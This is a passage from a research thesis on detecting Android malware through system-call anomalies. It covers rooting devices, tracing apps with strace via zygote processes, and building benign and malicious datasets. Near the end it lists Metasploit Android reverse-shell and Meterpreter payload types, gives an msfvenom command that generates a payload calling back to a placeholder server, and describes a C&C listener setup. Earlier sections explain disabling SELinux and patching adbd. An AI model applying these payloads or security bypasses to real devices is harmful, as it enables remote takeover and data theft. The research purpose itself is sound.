4. TWRP: Similarly to booting Honor 7, start the rooting with flashing
the TWRP Recovery. Yet, the process is different as it is done with
Odin. At first, reboot the device into the Download mode, start Odin
and connect the device to the computer. Then download the TWRP
11https://www.sammobile.com/firmwares/galaxy-s6/SM-G920I/INU/
download/G920IDVU3FQD1/128764/
12https://forum.xda-developers.com/attachment.php?attachmentid=
4069354&d=1489158227
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version 3.1.0-0-zeroflte13 and select it under the AP button in Odin.
After disabling Auto-Reboot in options, proceed to flashing by pressing
Start.
5. SuperSU: To apply the SuperSU, placed in the phone memory earlier,
boot into the TWRP recovery. Do it by switching the device off and
holding the home button, the power button, and the volume-up key
altogether. Once in the TWRP, back up the entire system in case
something went wrong. After that, install the patched SuperSU under
the Install option in TWRP. As a result of that, the device will get
rooted.
Samsung applies a trusted execution environment (TEE) on its Galaxy
devices, called Samsung Knox [51]. This TEE serves as a hardware-based
security feature to prevent malicious attempts from accessing data on the
device. For that reason, Samsung Knox detects when an unofficial software
has been installed on the device. It uses a security feature, called Knox
Warranty Bit [52]. It is a bit e-fuse that is turned to one when unofficial
software has been installed. As it is a one-time programmable bit, it cannot
be reverted once its value has been burned. That is also the case of rooting
as it includes unofficial firmware installation. Samsung vendors use this bit
as a proof of tampering with the device to void the warranty.
3.2.2 Installation of a Linux Application
After rooting our devices, we had root (superuser) privileges that were sup-
posed to allow us to install tools for our experiments. However, even with
a rooted device, the installation was hindered by Android security features.
The tool we planned to use in our research was strace. Nevertheless, the
same obstacles would apply to any other tool to be run from the Unix shell
on an Android device.
3.2.2.1 Android Debug Bridge with Root Privileges
To communicate with Android devices, we used the Android Debug Bridge
(adb). The adb shell command, in particular, helped us to issue commands
on the device and carry out our experiments. Despite the fact that both
our devices were rooted, adb shell ran by default in user mode without
super user privileges. To obtain the super user right, we had to use the
su command the same way as in other Unix-like systems. Nonetheless, this
13https://eu.dl.twrp.me/zeroflte/twrp-3.1.0-0-zeroflte.img.tar.html
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allowed us to have super user privileges only for the adb shell command.
For our research, we also need commands adb push and adb pull to transfer
files to and from the device, respectively. Depending on the directory path
on the Android device, root access might be required.
Owing to that, we tried to change the default rights of all adb commands
to super user, for easier manipulation. We executed adb root that should
restart the adb daemon (adbd) with root permissions, but we received an
error message “adbd cannot run as root in production builds”. There are a
few solutions to that, including installation of a custom kernel or applying a
patch. We chose the second option, an application that temporarily applies
a patch, allowing the adbd to run in insecure mode; adbd Insecure14.
However, mere application of this patch was not enough as current An-
droid systems use Security-Enhanced Linux (SELinux) for Android applica-
tion sandboxing [53]. SELinux was preventing the adbd Insecure application
from making any changes to the system, hence, refusing the patch. In order
to apply the patch properly, we first had to disable SELinux. We did so with
the help of SELinuxModeChanger 15. By default, SELinux is set into the
enforcing mode. That is the mode that prevents from applying the patch.
SELinuxModeChanger can change the mode into permissive. This allowed
us to apply the adbd Insecure patch on Honor 7 and restart the adb daemon
with root permissions.
Nonetheless, it is important to realise that this is not the safest solution.
SELinux is set into the enforcing mode for security reasons and disabling
it makes the device vulnerable. Besides, giving SELinuxModeChanger and
adbd Insecure root permission could be potentially dangerous too. These
applications could easily misuse the root privileged if they contained mali-
cious code. This would not be a problem for our research as we would use
such modified devices only for our experiments without entering any private
data. Nevertheless, we managed to apply the adbd Insecure patch only on
the Huawei Honor 7 device, not the Samsung Galaxy S6. Therefore, it was
not possible to run the adb daemon with root permissions on the Samsung
Galaxy S6.
3.2.2.2 Android File System Workaround
As we were unsuccessful with running the adb daemon with root privileges,
we looked for an alternative way to run our experiments. As part of this, we
leveraged the structure of the Android file system.
14https://play.google.com/store/apps/details?id=eu.chainfire.adbd
15https://github.com/MrBIMC/SELinuxModeChanger
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Even without super user privileges, we have rights to write in the /sdcard/
location on our device. Hence, we can use it to transfer files to the device
with the adb push command. However, this location does not allow to mark
files as executable, not even with super user privileges [54]. This is due to
the fact that the SD card partition is for security reasons mounted with the
noexec flag. This means that no file from the partition has execute permis-
sion, nor can they be given execute permissions. On the other hand, there
are partitions that do allow files being executable, however, some of them
are marked as read-only (e.g. /system/). A partition, that allows writes
together with executable files is /data/. Nevertheless, it still allows writes
only with super user privileges. That is not a problem for us as our device is
rooted and we can open the shell with root privileges. To transfer a binary
file to the phone and execute it there, we use these steps:
1. First, upload the file to the SD card without root privileges:
adb push BINARY_FILE /sdcard/
2. Afterwards, open the UNIX shell with super user privileges and move
the uploaded file to the location where it an be executed (/data/):
adb shell su -c "mv /sdcard/BINARY_FILE /data/"
3. Now the file is in an executable location, however, the file itself is not
marked as executable yet. This can be changed with setting its access
permissions:
adb shell su -c "chmod u+x /data/BINARY_FILE"
4. With everything set, the file can be executed:
adb shell su -c "./data/BINARY_FILE"
3.3 Event Generators
An important part of the anomaly intrusion detection is the collection of the
benign dataset that is used as normal data for training the model. With
more data, the trained model should be more accurate as it would have a
better knowledge of the benign behaviour. That could reduce the number
of false positives as there would be fewer cases of benign data deviating too
much from the normal.
CHAPTER 3. ENVIRONMENT 32
Automating the data collection would allow for a larger dataset, com-
pared to the collection done manually, running applications controlled by
the testing person. Nonetheless, even if the collection is automated, the in-
teraction with applications should resemble a real human-phone interaction
in order to generate reliable data.
This section discusses application of Android event generators for simulat-
ing human behaviour. Main focus is given to Application Exerciser Monkey,
Culebra and Firebase. These tools are compared for their advantages as well
as weaknesses.
3.3.1 UI/Application Exerciser Monkey
UI/Application Exerciser Monkey is a tool for generating a pseudo-random
stream of user events on an Android device [55]. It is a part of Android de-
veloper tools, serving for application stress-testing. Stress-testing is a form of
testing to discover potential weaknesses of an application and to observe the
stability of the system. As the Monkey generates pseudo-random events, it
helps finding bugs that would not be discovered with regular user behaviour.
The Monkey runs as an application directly on an emulated or a real device.
In our research, we could use the Monkey tool as a crawler, that would
visit different views in the application and triggered various features. Ideally,
the automated walk through the application would cover most of the applic-
ation tree. That would execute most of the application code and the gener-
ated data would be close to complete. The Monkey has been widely used by
other researchers for Android malware detection and classification, including
Bla¨sing et al. [56], Xu et al. [57] and Canfora et al. [58]. These utilise the
Monkey in their dynamic analysis.
When tested, the tool managed to access different application views and
triggered many operations. However, it was still far from complete as it
covered just a small part of the application tree. Login screens are the main
weakness of the Monkey since all events are generated pseudo-randomly and
make it impossible to enter proper credentials and log in. Thus, the Monkey
stops at the login screen and fails to discover the rest of the application.
3.3.2 Culebra: Concertina Mode
Culebra is a part of the AndroidViewClient, a framework for Android ap-
plication testing [59]. The main feature of Culebra is to generate a script
describing the logical content of the screen. Such script can be later used for
a verification whether the view has changed compared to its previous state.
These scripts also allow for creating more complex test cases.
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The feature that is the most important for our purpose is the Concer-
tina mode [60]. Similarly to the Monkey tool discussed in 3.3.1, it sends
user events to the application. However, unlike the Monkey, the selection
of events is not pseudo-random, but selected after analysing the content of
the application screen. This allows for a smarter interaction with the ap-
plication than simple event generation irrespective of the actual application
state. Moreover, it can be set with specific inputs that should be used for
certain cases. These include passwords, email addresses and usernames. For
example, when Culebra detects an input text field expecting a password,
it enters the set password string. Ordinary input text fields are filled with
random text.
3.3.3 Firebase: Robo Test
Robo Test is a tool integrated in the Test Lab offered by Google Firebase [61].
It explores Android applications by analysing the structure of the user inter-
face and simulating user activities.
It lets testers predefine texts to be entered in input text fields. Moreover,
it supports a sign-in in applications using Google authentication. For this
purpose, Robo Test can either generate a Google test account or allow the
tester to provide credentials for signing-in.
Robo Test performed better than both Culebra and the Monkey tool. It
discovered all views in an application, including those behind a log-in screen.
Unfortunately, the analysis is run on real and emulated devices on the server
side. Robo Test does not permit using our own devices, nor do we have
any access to the devices where the analysis is performed. Therefore, it is
not suitable for our research as we cannot trace system calls of the tested
application.
3.3.4 Other Event Generators
The other powerful user interface testing tools for Android are Robotium [62]
and UI Automator [63]. These tools can inspect the layout hierarchy and
analyse the components displayed on the device. However, they do not gen-
erate events to control the tested applications. They rely on test scripts that
specify user actions to proceed with. As such, they cannot be used directly
for automated data collection. Yet, they could be utilised as a basis for a
crawler that would control an application to examine its available features.
Choudhary et al. [64] compared existing tools for input generation. The
results showed that The Monkey tool achieved the highest code coverage with
Dynodroid [65] not being far behind. For the rest of the tested tools, the gap
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in coverage was more significant. The advantage of Dynodroid over the Mon-
key is that Dynodroid allows for providing values that the tool would use in
the analysis. Supposedly, it works also with login details. Sadly, we were not
able to examine how suitable it would be for our purpose as Dynodroid has
not been maintained and it is not compatible with new versions of Android.
3.3.5 Simulating User Behaviour
The Monkey and Culebra were the best performing tools from the reviewed
event generators. Nevertheless, their results were still insufficient for our
research as they were far from resembling real user interactions.
Compared to the Monkey, Culebra was better at systematically accessing
visible features of the tested application. It also did well with logging in,
hence, being able to cover parts of applications that the Monkey skipped. On
the other hand, Culebra often ran into issues where it analysed the content
of the view and failed to select a suitable event to proceed. In these cases,
Culebra stopped as there was nothing more for it to explore. This resulted
in a low coverage of visited views even in simple applications. In general,
Culebra performs better than the Monkey in applications requiring sign in.
For other applications, the Monkey performed better.
All reviewed event generators provided poor coverage of applications. If
used for automated control of an application, a large part of the application
code would not be executed. Thus, the application behaviour would not be
captured properly. For that reason, we decided to collect all data on a human
controlled device. We believe that such approach may lead to more accurate
results.
Chapter 4
Dataset
This chapter presents the system calls dataset and how we collected it. As
we were not able to find a suitable emulator, the collection was done on a real
device. It was necessary that the device be human controlled as we were also
not able to find a suitable emulator. This chapter starts with the description
of how to trace system calls of an Android application. It is followed by a
detailed explanation of the benign and malware datasets, respectively.
4.1 System Calls Tracking on Android
After rooting our devices, we had root (superuser) privileges that allowed
us to install tools for our experiments. As our aim was to collect system
calls, we looked at strace, that is a known utility for tracking system calls in
Unix-like operating systems. Since Android is based on the Linux kernel, we
explored whether strace could be applied also in the Android environment
and if it was a suitable tool for our research.
This section starts with a description of the strace tool and the Android
zygote process. Afterwards, it discusses why some Android systems include
more zygote instances and how we can use them for system calls collection.
As we wanted to automate the dataset collection as much as possible, we
also look into starting and stopping the Android application automatically.
Finally, we explain the script we have prepared for collecting samples for our
datasets.
4.1.1 Strace
Strace is a diagnostic and debugging utility for Linux [66]. It can trace
system calls as well as signals coming to and from the Linux kernel. Strace
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allows either running a specified command and tracing its system calls until
the command exits or attaching the tool to an already running process [67].
When attaching it to a process, it is possible to trace also its child pro-
cesses as they are created. Child processes are those, that are created as a
result of the fork system call. The fork system call duplicates the calling
process, referred to as the parent. This is a feature we utilised in our research
since all Android applications run as child processes of the zygote process,
that is described below.
4.1.2 Zygote Process
The Android system runs the zygote process, that serves as the basis of a new
application. Each Android application starts as a fork of this process [68].
Thus, zygote is the parent of all applications. It is started during the Android
system startup and stays running as a daemon until the system is shut down.
The main purpose of this process is to speed up the startup of applic-
ations. Each application runs in its Android Runtime (ART) environment.
The zygote process has the ART initialised, and as such, it can be considered
a half started application. Its memory space includes core libraries and static
data, but it does not contain any application specific code. When a new ap-
plication is to be started, zygote creates a copy of itself. That is significantly
faster than starting a new process from scratch.
In addition, it saves system memory. As all applications are a fork of the
same process, it allows for cross-process memory sharing, particularly sharing
of core libraries and static data as they are the same for all applications.
For this purpose, it uses the Copy-on-Write (COW) technique. COW gives
processes asking for the same resources pointers to the same memory address.
This resource is copied only if a process decides to write in it. Hence, it
prevents the process from changing the data for other processes. If a process
does not modify the resource, it does not need to be copied.
4.1.3 Multiple Zygote Processes
. On our Samsung Galaxy S6, we found four zygote processes running. Two
were called zygote64 and the other two zygote. This is shown in Figure 4.1.
As can see from their names, some are intended for the 64-bit architecture and
some for the 32-bit one. The reason for running separate zygote processes
for different architectures is that the device supports both 32-bit and 64-
bit applications. As their ART environment differs, particularly their loaded
libraries, it would not be possible to start 32-bit and 64-bit applications from
the same zygote process. This applies to any Application Binary Interface
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(ABI) a device supports. For each ABI, there has to be a separate zygote
process. In our case, the 64-bit zygote is the primary one and the 32-bit the
secondary one.
root 3184 1 2263104 86348 poll_sched 78f3d94714 S zygote64
root 3185 1 1681620 71804 poll_sched 00eeff8b00 S zygote
root 4512 1 2263104 85100 poll_sched 791b021714 S zygote64
root 4513 1 1681620 73432 poll_sched 00ee117b00 S zygote
Figure 4.1: Zygote processes on Samsung Galaxy S6, displayed as a snapshot
of processes with the ps tool.
That would explain having two zygote processes in one system that sup-
ports two ABIs. However, there are four zygote processes in our system. As
we were not able to find any official information explaining it, we explored
the initial scripts Android uses. We found the script that initialises zygote
processes on the system startup in init.zygote64 32.rc. This script truly
starts four zygote instances. Apart from starting the main 64-bit and 32-bit
instances, named zygote and zygote secondary respectively, there are services
zygote agent64 and zygote agent32. It also includes an information comment-
ing on the two extra processes: “# Enhanced Zygote ASLR for untrusted 3rd
party apps, by isolating memory layout from system apps to prevent direct
memory leakage”
That explains the reason behind the four zygote instances. When starting
an application, the Android system decides whether it is a trusted system
application or not. Based on that information, it chooses the right zygote in-
stance. By separating their memory layouts, it increases the overall Android
security as third party applications do not have access to the same data as
system applications.
4.1.4 Strace for an Android Application
Even though Android system operates on the Linux kernel, it does not come
with strace installed. For that reason, we had to install it on our Android
devices ourselves. Both our devices run on the ARMv8 platform, thus, we
had to get strace compiled for ARM 64 architecture. It would be possible
to compile it ourselves, but someone had already done the work and shared
the binaries we could use1. To run this strace binary on a rooted Android
device, we followed the steps mentioned in Section 3.2.2.
1https://forum.xda-developers.com/nexus-9/development/useful-64-
bit-aarch64-binaries-busybox-t2931373
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The installed strace ran on Android perfectly. We were able to trace
existing processes as well as new processes when giving a specific Linux com-
mand for strace to run. Captured calls also corresponded to the type of data
we expected to collect and wanted to analyse.
4.1.4.1 Tracking Android Application Process Directly
As we wanted to capture system calls of a particular Android application,
we could start the application, get its process id (PID) and run strace with
that PID. However, this would mean losing some initial system calls as the
strace would be run only after the application has started (to be able to tell
its PID). Despite the fact that the initial sequence of system calls might be
the same for all applications (including malware), it would not be possible
to estimate how many system calls we would miss before starting the strace.
In fact, we could miss more than just the initial sequence. Such data
samples would not be very accurate and especially in the case of malware,
might miss crucial system call parts. That is due to the fact that some
malware send a beacon to the server to establish a connection just upon the
startup. This is discussed in more detail in Section 4.3. We would like to see
whether the analysis finds it as an anomaly.
4.1.4.2 Tracking a Zygote Process
Although strace can run and trace a particular command, this cannot be
applied to Android applications. Strace can start a Linux command, but
it is not able to run directly an Android application. The solution was to
utilise the nature of zygote processes. Starting strace on a zygote process
and setting it to trace all child processes captures system calls of all new
applications. As we wanted to trace a particular application rather than the
entire system, we set strace to log system calls for each process separately.
Strace creates logs with PID suffixes to differentiate between processes. To
know which log contains system calls of our application, we have to get the
PID of our application while it is running.
The strace command we used for logging system calls of an Android
application is:
strace -p ZYGOTE_PID -ff -o OUTPUT_LOG
The ZYGOTE PID is the PID of the zygote process that takes part in start-
ing the new application. It can be found in the report of current processes
with the ps command. As we set strace to log all child processes in separate
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files (flag -ff), the OUTPUT LOG is the prefix, that will be followed by the PID
of each individual process.
Due to the fact that our testing device was running four instance of the
zygote process, we could not simply take a zygote process and trace it. One
option would be predicting which zygote process would be the parent of
the process we want to trace. Although this would be the most efficient
with respect to resources at the device, we opted for a solution that allows
tracking any application, irrespective of its origin and architecture. This
general solution attaches strace to all zygote instances at the device.
Multiple strace processes do not interfere with each other. Besides, even
the OUTPUT LOG prefix can be the same for all the processes. This is owing to
the fact that each new application has only one zygote process as its parent.
Therefore, each process is traced by only one strace instance. As no two
processes running simultaneously can have the same PID, the log names do
not interfere either.
Nonetheless, if the system was too slow due to the tracing, it would be
necessary to identify the exact zygote process or at least to narrow it down to
two processes by specifying the architecture of the Android application. We
experimented with resource intensive applications to see if this was necessary.
The result was that multiple strace instances do not have a significant impact
on the device performance.
4.1.5 Android Application Start
In spite of the fact that all samples would be collected on a human controlled
device, we wanted to start and close the application automatically to prepare
the same environment for all application runs. Moreover, it would speed up
the data collection. It is possible to start an application with the activity
manager (am). That is available on the device through the Android Debug
Bridge (ADB) shell. The command to start an application with the am is:
am start -n com.packagename/.ActivityName
4.1.5.1 Obtaining the Main Launchable Activity
However, to start an application, we would need to know both the package
name and the main activity name. It is not difficult to obtain the package
name of an application. Yet, getting the activity name is a bit more complic-
ated. One option is downloading the corresponding APK file or pulling it
from the device where it is installed, decompiling it and parsing the name of
the main launchable activity from the Manifest file (AndroidManifest.xml).
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Instead of decompiling it directly, we can explore information about the APK
file with the Android Asset Packaging Tool (aapt) that comes with the An-
droid Software Development Kit (SDK). The exact set of commands filtering
all launchable activities from the APK file is:
aapt dump badging APP_FILE.APK | grep ’launchable-activity’
Nevertheless, this is still far from optimal as it requires several steps and
adds complexity to the procedure for collecting system call samples. The
name of the main activity could be acquired directly in the ADB shell at
the device with the dumpsys tool. This tool provides information about
all system services. Parsing its output data, we could obtain the names of
available activities for each the application package. We tested this option,
but the output of dumpsys is too long. Hence, it takes considerable time to
generate and complicate filtering the desired information.
4.1.5.2 Starting an Application with the Monkey Tool
Instead of focusing on the optimisation of extracting the name of the required
activity, we looked for an alternative option to start an application. We
found out that we could make use of the UI/Application Exerciser Monkey,
discussed in Section 3.3.1. Even though it is a tool for pseudo-random event
generation, we found a way it can start an application. We utilised the fact
that the Monkey does not close the application after having generated all
events. As parameters, the Monkey takes the name of the application (name
of the package, to be exact) and the number of events to generate. Since we
want the tool only to run the application, we can set the number of generated
events to one. Thus, it would generate only one event upon the application
start and leave the application opened, expecting further interaction. We
only use the Monkey tool for starting an application. All other interaction
with the application is done manually on the device. Starting an application
with the Monkey turned out to be a faster and an easier solution compared
to the other options discussed above.
As we wanted to make sure the Monkey does not affect the tracked system
calls, we recorded system calls of an application started with the Monkey and
compared it to logs containing system calls of an application started manually
from the phone user interface. The results showed that the initial sequence of
calls stayed the same and the nature of system calls (types of system calls and
their frequency) did not differ either. Using the Monkey tool, we managed
to effectively start the tested application with no difference in the captured
data. Owing to that, we applied it in the script for acquiring our system call
samples. This is the particular command we used:
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monkey -p com.packagename 1
4.1.6 Stopping an Android Application
Stopping an Android application is easier than starting it. We can do so with
the activity manager (am). This is the tool we also discussed for starting
an application. However, unlike starting an application, there is no need to
specify a particular application activity. All that is needed is the name of
the application package to stop. Then this command can be applied:
am force-stop com.packagename
However, there is still a difficulty with stopping an application with re-
spect to the way we trace the application system calls. Some applications
spawn a new process after stopping the application. Its purpose is to speed
up the application startup. Keeping a process in the background eliminates
the necessity to create a new process when the application is starting. It
simply starts from the already existing process. This is an understandable
feature of those applications, however, it does not help collecting system call
traces.
We can run the strace tool on the zygote process, so that all new processes,
created as forks of the zygote process, get attached and their system calls
are logged. The problem is that only new processes get attached. When an
application starts from an already existing process, it does not get attached
to strace, hence, its system calls are not logged.
This is not a major obstacle as it does not compromise tracking for ap-
plications that have not been run since the Android system has booted. As
we plan to capture system calls for each application multiple times, we could
reboot the device every time an application should be started again. Non-
etheless, we have applied a slightly different approach. After calling the am
force-stop operation on an application, our script waits for five seconds to
give the application time to stop, followed by sending the SIGKILL signal2
to all processes that include the name of the application package. As a result,
the restarted application has to create a new process that gets attached to
strace.
2SIGKILL is a signal to terminate a process. Unlike other signals, it cannot be caught
or ignored.
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4.1.7 Semi-automated Procedure for Dataset Collec-
tion
. We prepared a script to capture system calls for a particular application.
This script expects a rooted device with an installed strace binary. Also,
Android SDK has to be installed on the computer to communicate with the
Android device. At the time of running the script, the Android device needs
to be connected to the computer (with an USB cable) as the computer issues
commands via ADB to control the entire process. The script comprises of
these steps:
1. Prepare an empty temporary folder for system call logs on the device.
Its path sets a location that is accessible without super user rights, so
that its content can be transferred to the computer later.
2. Get PIDs of all zygote processes running on the device.
3. Start an strace process for each the zygote instance from the previous
step. Set tracing all child processes and as the output location enter
the folder from the first step. All strace processes have to be run in the
background not to block the script.
4. Get PIDs of all started strace processes.
5. Start the tested Android application with the Monkey tool.
6. Get PID of the started Android application to be able to identify the
correct system calls log.
7. Sleep for the duration of the system calls recording.
8. Terminate all strace processes.
9. Terminate the Android application.
10. Copy the log corresponding to the application PID from the temporary
folder on the Android device to the computer.
11. Delete the temporary folder on the device.
4.2 Benign Dataset
For our experiment, we need benign system call samples that would describe
normal application behaviour. This section focuses on the selection of ap-
plications for this dataset and on the collection process.
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4.2.1 Type of Applications
For the benign dataset, we selected mostly Android applications that use the
Internet as we planned to test them against malware communicating with a
server. If we had selected benign applications that do not need the Internet
network, it would have been likely that our findings were not relevant. Mal-
ware samples would have probably been marked as anomalies because they
would have been communicating over the Internet while the benign applic-
ations would have not. That would not have tested the difference between
benign and malicious applications but rather the difference between applic-
ations that use the Internet and applications that do not.
We picked four categories of applications that require the Internet con-
nection:
1. News
2. Internet browsers
3. On-line games
4. Weather applications
We selected two applications for each of the above mentioned categories.
The main criteria when picking them were that they were popular, not re-
quiring sign up and ideally were not too complex. By popular applications
we mean those that had been installed at least 10 000 times. In addition to
applications from the listed categories, we selected two others that do not
use the Internet at all. We named this category Others.
All selected applications were available at the Google Play market and
were downloaded from there too. Upon their download, it was still necessary
to test whether they were suitable for our research. We ran our tracing script
too see if system calls were correctly captured.
Some applications run a service in the background and do not create a new
process when the application is launched. This is a similar problem to the one
discussed in Section 4.1.6. However, the difference is that sending a SIGKILL
signal would not help in this case. Upon a service process termination, a new
process is launched almost instantaneously. This concerns applications like
BuzzFeed (com.buzzfeed.news) and 1Weather (com.handmark.expressweather).
Another application that could not be traced with our script is Weather Un-
derground (com.wunderground.android.weather) because it spawned two pro-
cesses. It would be simple to modify our script to pull both logs, however,
we decided to exclude it from our dataset so as to keep the data consistent.
All these applications were replaced by new ones that met our conditions.
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4.2.2 32-bit and 64-bit Applications
All applications for our benign dataset collection were installed from the
Google Play service. At the time of installation from the Google Play, it is
not possible to find out what architecture the application runs on. As long as
it supports an architecture that is available on the device, the application can
be successfully installed. We did not realise some installed applications might
not support the 64-bit architecture when we picked them for our dataset.
Only after we started collecting their system calls, we could see that some
collected samples included system calls that did not appear in other samples.
Line no.
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dup3
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fcntl
lseek
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fcntl
fcntl
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dup3
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openat
fcntl
32-bit app
openat
dup3
close
openat
dup3
close
openat
fcntl64
fcntl64
_llseek
dup3
close
openat
fcntl64
fcntl64
_llseek
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fcntl64
Figure 4.2: Excerpt of the initial sequence of system calls for 64-bit and
32-bit applications.
As initial sequence of system calls is nearly identical for all samples, we
compared these to see if there are applications where the startup sequence
differs. It turned out that the structure of the initial sequence was the same
across all samples. However, the names of system calls differ slightly in some
samples. Examples of system calls that differed are fcntl64 instead of fcntl
CHAPTER 4. DATASET 45
and llseek instead of lseek. An excerpt of the initial sequence is shown
in Figure 4.2. It includes only names of system calls while arguments and
return values are filtered out. This is just a small part of the initial sequence.
The initial sequence is discussed more in detail in Section 5.2.2.
We found out that this was due to the architecture the application was
compiled for. As there seemed to be no apparent difference in the structure
of system calls of 32-bit and 64-bit applications, we could simply replace the
system calls of 32-bit applications with their 64-bit alternatives. Neverthe-
less, there might be differences in system call traces of different architectures
that are not clearly visible and they might have an impact on our research.
The fact that the structure of the startup sequence is the same does not
mean that an application would produce the same logs irrespective of the
architecture it is compiled for. It is more likely that there actually are subtle
differences.
Since this was not in the scope of our research, we narrowed it down to
investigation of 64-bit applications only. As we were not able to tell what
architecture the application would run on in Google Play, we had to find
it out from its APK file. Google Play does not allow APK file download,
therefore, we had to install the application first and pull the APK file from
the device afterwards. To find out where the APK is stored on the device,
we used the package manager (pm) from the ADB shell:
adb shell pm path com.packagename
With Android Runtime (ART), applications are compiled into native ma-
chine code upon their installation [69]. Applications are installed from their
APK packages that include Dalvik Executable (DEX) files. DEX is a format
of bytecode, designed initially for Dalvik virtual machine, an ART prede-
cessor. For compatibility reasons, ART uses the same bytecode format. DEX
is platform independent, thus, it does not limit the application to any archi-
tecture. The fact that some applications support only certain architectures
comes from the dynamically linked libraries (.so) that are included in the
APK archive file. As these libraries are binary files (ELF), they are platform-
specific. Hence, applications are limited to particular architectures only if
they include libraries. Based on the libraries included, we can tell which
architectures the application supports.
For our experiments, we needed 64-bit ARM applications. Owing to that,
we looked for arm64-v8a libraries. If the lib folder inside the APK archive
file contains a folder named arm64-v8a or there is no lib folder in the APK
file, the application supports the 64-bit ARM architecture. Applications with
armeabi-v7a libraries that do not contain arm64-v8a libraries are supported
by our testing device too, however, they would run only as 32-bit applications.
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This is the kind of applications we talked about earlier and decided to exclude
it from our dataset.
4.2.3 Selected Applications
Based on the criterion and requirements discussed above, we selected 10
applications; 2 for each the specified category. This is the final list of applic-
ations for collecting the benign dataset:
1. News
• CNET’s Tech Today (com.cbsinteractive.techtoday)
• BBC News(bbc.mobile.news.ww)
2. Internet browsers
• Opera Mini (com.opera.mini.native)
• Chromer - Browser (arun.com.chromer)
3. On-line games
• Nebulous (software.simplicial.nebulous)
• Agar Pro (com.pro.agar.agarpro)
4. Weather applications
• Aus Weather Australia (com.benjanic.ausweather)
• WillyWeather (au.com.willyweather)
5. Others
• Notepad (com.onto.notepad)
• Calculator (com.tricolorcat.calculator)
4.2.4 Method for Collecting Benign Samples
Initially, we planned to capture 10 logs for each application, having a total of
100 logs as benign samples. Nevertheless, then we thought of differentiating
between logs of applications that are run for the first time (just after their
installation) and logs of applications that have been run on the system before.
Some applications behave differently on their first run and their system call
logs would be different too. An application might, for example, create new
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configuration files on the device as a part of its initialisation. To allow also for
this aspect, we changed our planned method for one that would capture 12
logs for each application where 4 of them are captured with the application
started for the first time.
To achieve this, we prepared a system image with all selected applications
installed but not yet run. After all applications have been run three times,
the system image is applied to restore the system to its initial testing state.
This is repeated until we have 12 samples from each application. This gives a
total of 120 benign data samples. Each sample includes system calls captured
for 100 seconds. The process for our benign dataset collection is as follows:
1. Restore the system image with prepared applications.
2. For each of the 10 selected applications, repeat 3 times:
Run the script for system calls collection for a duration of 100 seconds.
While the system calls are being logged, interact with the application
normally (to capture system calls for an application with human inter-
actions).
3. Go back to step 1, until the entire process has been run 4 times.
4.3 Malware Dataset
After collecting the benign dataset, we also had to prepare a dataset of
malicious samples. This dataset would be used for testing to see if it differs
from the benign data and if these samples are recognised as anomalies.
The section starts with the examination of existing malware and its suit-
ability for our research. Thereafter, malware creation is explained together
with embedding it in benign Android applications. It is followed by the de-
scription of the method we applied for collecting system call samples for our
malicious dataset.
4.3.1 Existing Malware
We explored existing malware samples to see whether they could be applied
in our dataset collection and how they fitted our research. Our aim was to
analyse malware communicating over the Internet.
Kiss et al. [70] analysed seven Android malware samples in detail to de-
scribe their behaviour, configuration and how to trigger them. These malware
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samples were picked to represent different malware families. Beside the mal-
ware analysed in the paper, they also provide a dataset (Kharon Malware
Dataset)3 that includes and studies other malware families.
We tested malware samples from the dataset to see if we could apply them
in our research. We picked malware that requires an Internet connection. The
chosen malware either sends private data from the phone to a remote server
or allows remote access from a Command and control (C&C) server.
We were not able to trigger some of the malware samples as the vulner-
abilities they were exploiting have been fixed in new versions of the Android
system. Those that we managed to install successfully and trigger could not
establish a connection with their C&C servers as the servers had been shut
down. Besides, the process of triggering these malware required many steps.
They often hide their malicious behaviour for a period of time. The malicious
code might get triggered weeks after the application has been installed. Even
though it is possible to trigger the exploit manually, a certain procedure is
needed that differs for each the malware. It mostly involves starting the ap-
plication, restarting the phone and changing temporary (configuration) files
of the application.
4.3.2 Preparing Malware Samples
Due to the fact that employing existing malware in our research would be
complicated and would not enable enough flexibility, we prepared our own
malware samples. With our own malware, we know exactly what it does and
how to control it. Most importantly, we can choose how to trigger it. Once
we have the malware, we can even embed it in an application of our choice.
4.3.2.1 Malicious Payload
We prepared all our malware samples with the help of the Metasploit Toolkit [71].
Metasploit offers tools for penetration testing, exploit development and vul-
nerability research. It comes also with a payload generator, MSFvenom.
With MSFvenom, we can generate malicious payloads that can be executed
on the Android platform [72]. MSFvenom is equipped with various pay-
loads for different architectures. As for Android, its repertoire comprises
of payloads for a reverse connection to a Meterpreter server and a reverse
connection spawning a piped command Shell.
Meterpreter is more complex than the Shell, offering a wide range of
commands to be sent to the infected device. After establishing a connec-
tion with the device, the server may issue commands targeting either the
3http://kharon.gforge.inria.fr/dataset/index.html
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underlying Linux kernel or the Android system and the phone features. The
first category is similar to the functionality offered by the Shell, as it com-
prises of Linux commands for the file system (e.g. cd, ls), network com-
mands (e.g. ifconfig, route) and system commands (e.g. ps, reboot).
The second category is more interesting, as it includes commands specific
to Android phones. These commands may take a snapshot from a camera
(webcam snap), fetch all SMS messages from the device (dump sms), get the
device location (geolocate) and a lot of others. This makes Meterpreter a
far more powerful tool than the Shell.
Each of these payloads comes in three variants, that differ in the com-
munication protocol between the device and the server. These are reverse
TCP, reverse HTTP and reverse HTTPS. This gives us a total of six differ-
ent raw malware samples that we included in our research. All of these are
triggered immediately upon opening the installed application on the device.
With such malware samples, we know exactly when the malicious code is
executed and we can set the length of experiments accordingly. Here is the
list of the payload types we used in our research:
• android/meterpreter/reverse http
• android/meterpreter/reverse https
• android/meterpreter/reverse tcp
• android/shell/reverse http
• android/shell/reverse https
• android/shell/reverse tcp
This is the command we used for generating a payload with the MS-
Fvenom tool:
msfvenom -p PAYLOAD LHOST=SERVER_IP LPORT=SERVER_PORT -o OUT.APK
PAYLOAD is the type of the payload to generate. It is one from the list
above, for example, android/meterpreter/reverse tcp to generate the
Meterpreter payload that uses the reverse TCP connection. SERVER IP and
SERVER PORT specify the server to connect to. The server setup is explained
below. And OUT.APK is the path to the output file where the payload is
generated.
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4.3.2.2 Control and Command Server
For the malware to work properly, we need to set up a server that is waiting
for the malicious application to initiate a connection. We arranged this server
as a Kali Linux distribution running in VirtualBox. Kali Linux is a Linux-
based operating system equipped with tools for penetration testing [73]. It
is developed and maintained by the Offensive Security, the creator of the
Metasploit Toolkit that we use for creating our Android malware samples.
Owing to that, Kali Linux comes with all the tools we need for generating
and controlling our malware.
Both Metasploit server and server for the command Shell can be started
from msfconsole. That is the main interface to the Metasploit Toolkit. To
start the server and prepare it for incoming connections, we just need to set
the payload type, IP address of the server and a PORT number where it is
listening for new connections. All these need to be configured the same as in
the generated Android malware, that was created with MSFvenom.
